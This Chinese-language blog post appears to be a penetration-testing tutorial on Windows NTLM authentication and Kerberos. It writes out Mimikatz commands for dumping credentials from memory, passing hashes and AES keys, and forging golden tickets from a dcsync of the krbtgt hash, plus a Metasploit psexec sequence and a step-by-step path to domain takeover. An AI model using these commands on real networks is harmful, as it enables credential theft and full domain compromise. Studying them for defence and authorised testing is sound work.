博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Windows NTLM Hash和Hash传递、Key传递攻击
阅读量:4310 次
发布时间:2019-06-06

本文共 2034 字,大约阅读时间需要 6 分钟。

Hash(Key) 获取


  • 工具: Mimikatz
  • 用法:
.\mimikatz.exeprivilege::debug #查看权限sekurlsa::logonpasswords #获取hash和明文密码(如果可以的话)sekurlsa::ekeys #获取kerberos加密凭证

1070321-20180704214303072-364846839.png

1070321-20180704214324318-1982217101.png

Hash(Key)传递


Mimikatz

sekurlsa::pth /user:xxxxxxx /domain:xxxxxxx /ntlm:xxxxxxxxxxxx  #hash传递sekurlsa::pth /user:xxxxxxx /domain:xxxxxxx /aes256:xxxxxxxxxxxxxx  #key传递

Metaspolit

传递Hash

msf> use windows/smb/psexecmsf exploit(windows/smb/psexec)>set rhost a.b.c.dmsf exploit(windows/smb/psexec)>set rport 445 (139会更好一点)msf exploit(windows/smb/psexec)>set smbuser xxxxmsf exploit(windows/smb/psexec)>set smbpass hashdump中的hashmsf exploit(windows/smb/psexec)>set domain xxxxmsf exploit(windows/smb/psexec)>exploit

Windows NTLM哈希传递和票据的原理


Windows验证的流程

  • 1.首先用户在客户端输入username、password、domain,然后客户端会先将用户输入的password进行hash计算并保存在本地;
  • 2.客户端将username明文传输到域控机
  • 3.然后域控会随机生成16字节的challenge挑战码返回给客户端
  • 4.客户端接收到challenge之后,会用之前password的hash进行加密(称为response),和challenge、username一起发送给服务器
  • 5.服务端将客户端发来的信息转发给域控
  • 6.域控在接收到服务端发来的response、challenge、username,会拿着username在自己的活动目录数据库(ntds.dit)中查询出对应的password hash,并对challenage进行一次加密,如果和用户发来的response相同则身份验证成功,否则则失败。

kerberos协议认证原理

请参考我的博文

Hash的利用方式

NTLM验证靠HASH值,Kerberos靠票据(TICKET),在这里hash是可以传递的,使用hash可以直接登录系统,渗透方式如下:

  • 1.获得一台域主机的权限
  • 2.Dump内存获得用户hash
  • 3.通过pass the hash尝试登录其他主机
  • 4.继续搜集hash并尝试远程登录
  • 5.直到获得域管理员账户hash,登录域控,最终成功控制整个域

引用:

但是在安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码(ps:可以通过在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest中新建键值来使下次管理员登陆后明文保存密码,但是效率太低,不推荐),且禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行wmi、PSEXEC、schtasks、at和访问文件共享,但是唯独默认的 Administrator (SID 500)账号例外,依然可以通过这个账号进行pass the hash进行攻击

票据的利用方式

kerberos有两种平票据:一种是silver ticket,有账号hash加密,可以访问特定的服务;另外一种是golden ticket,可以访问域内所有服务;这个黄金票据是用kerberos账户的hash生成的,我们来看下操作:

# 1 首先我们要抓取kerboers的hashlsadump::dcsync /domain:xxx.xxxxx /user:krbtgt# 2 生成票据kerberos::purgekerberos::golden /admin:administrator /domain:xxx.xxxx /sid:SID /krbtgt:hash值 /ticket:administrator.kiribi# 3 获取权限kerberos::ptt administrator.kiribikerberos::tgt

转载于:https://www.cnblogs.com/KevinGeorge/p/9265550.html

你可能感兴趣的文章
Scala入门系列(十一):模式匹配
查看>>
Sql Server 生成数据透视表 (行列转换等经典SQL语句)
查看>>
理解sizeof()
查看>>
Vue学习笔记之vue-cli脚手架安装和webpack-simple模板项目生成
查看>>
SqlServer 扩展属性
查看>>
优先队列
查看>>
一些程序和工具
查看>>
java8 运算语法集
查看>>
IDEA关于重命名
查看>>
Es6 中let var和 const 了解
查看>>
巧用队列之”Voting“
查看>>
Oracle数据类型number(m,n)
查看>>
C#多线程学习(一) 多线程的相关概念
查看>>
JS构造函数、原型对象、隐含参数this
查看>>
注册用户
查看>>
TZC Intercommunication System
查看>>
HDU 4571 SPFA+DP
查看>>
centos 创建以日期为名的文件夹
查看>>
Java Timer触发定时器
查看>>
Page Object设计模式
查看>>